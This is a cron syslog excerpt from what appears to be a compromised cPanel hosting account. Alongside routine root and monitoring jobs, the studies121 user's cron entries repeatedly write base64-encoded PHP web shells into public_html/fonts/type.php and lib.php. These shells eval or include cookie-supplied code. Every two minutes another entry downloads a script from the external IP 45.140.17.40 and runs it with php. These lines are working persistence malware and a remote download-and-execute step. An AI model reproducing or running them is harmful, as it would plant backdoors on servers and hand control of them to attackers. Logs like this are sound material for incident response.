Aug 31 19:44:01 ip-184-168-122-23 CROND[19592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:44:01 ip-184-168-122-23 CROND[19590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:45:01 ip-184-168-122-23 CROND[19702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:45:01 ip-184-168-122-23 CROND[19704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:45:01 ip-184-168-122-23 CROND[19705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:45:01 ip-184-168-122-23 CROND[19707]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 19:45:01 ip-184-168-122-23 CROND[19709]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 19:45:01 ip-184-168-122-23 CROND[19710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:46:01 ip-184-168-122-23 CROND[19806]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 19:46:01 ip-184-168-122-23 CROND[19808]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:46:01 ip-184-168-122-23 CROND[19809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:46:01 ip-184-168-122-23 CROND[19811]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 19:46:01 ip-184-168-122-23 CROND[19813]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 19:46:01 ip-184-168-122-23 CROND[19812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:46:01 ip-184-168-122-23 CROND[19814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:47:01 ip-184-168-122-23 CROND[19905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:47:01 ip-184-168-122-23 CROND[19906]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:47:01 ip-184-168-122-23 CROND[19907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:47:01 ip-184-168-122-23 CROND[19908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:48:01 ip-184-168-122-23 CROND[20065]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 19:48:01 ip-184-168-122-23 CROND[20069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:48:01 ip-184-168-122-23 CROND[20068]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:48:01 ip-184-168-122-23 CROND[20070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:48:01 ip-184-168-122-23 CROND[20067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:49:01 ip-184-168-122-23 CROND[20169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:49:01 ip-184-168-122-23 CROND[20170]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Aug 31 19:49:01 ip-184-168-122-23 CROND[20174]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:49:01 ip-184-168-122-23 CROND[20172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:49:01 ip-184-168-122-23 CROND[20171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:50:01 ip-184-168-122-23 CROND[20284]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 19:50:01 ip-184-168-122-23 CROND[20285]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 19:50:01 ip-184-168-122-23 CROND[20286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:50:01 ip-184-168-122-23 CROND[20291]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 19:50:01 ip-184-168-122-23 CROND[20292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:50:01 ip-184-168-122-23 CROND[20293]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 19:50:01 ip-184-168-122-23 CROND[20294]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 19:50:01 ip-184-168-122-23 CROND[20295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:50:01 ip-184-168-122-23 CROND[20300]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:51:01 ip-184-168-122-23 CROND[20409]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:51:01 ip-184-168-122-23 CROND[20411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:51:01 ip-184-168-122-23 CROND[20412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:51:01 ip-184-168-122-23 CROND[20413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:52:01 ip-184-168-122-23 CROND[20493]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 19:52:01 ip-184-168-122-23 CROND[20495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:52:01 ip-184-168-122-23 CROND[20497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:52:01 ip-184-168-122-23 CROND[20496]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:52:01 ip-184-168-122-23 CROND[20500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:53:01 ip-184-168-122-23 CROND[20656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:53:01 ip-184-168-122-23 CROND[20658]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:53:01 ip-184-168-122-23 CROND[20659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:53:01 ip-184-168-122-23 CROND[20660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:54:01 ip-184-168-122-23 CROND[20737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:54:01 ip-184-168-122-23 CROND[20740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:54:01 ip-184-168-122-23 CROND[20739]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 19:54:01 ip-184-168-122-23 CROND[20741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:54:01 ip-184-168-122-23 CROND[20742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:55:01 ip-184-168-122-23 CROND[20847]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:55:01 ip-184-168-122-23 CROND[20849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:55:01 ip-184-168-122-23 CROND[20853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:55:01 ip-184-168-122-23 CROND[20850]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 19:55:01 ip-184-168-122-23 CROND[20852]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 19:55:01 ip-184-168-122-23 CROND[20851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:56:01 ip-184-168-122-23 CROND[20937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:56:01 ip-184-168-122-23 CROND[20939]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:56:01 ip-184-168-122-23 CROND[20941]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
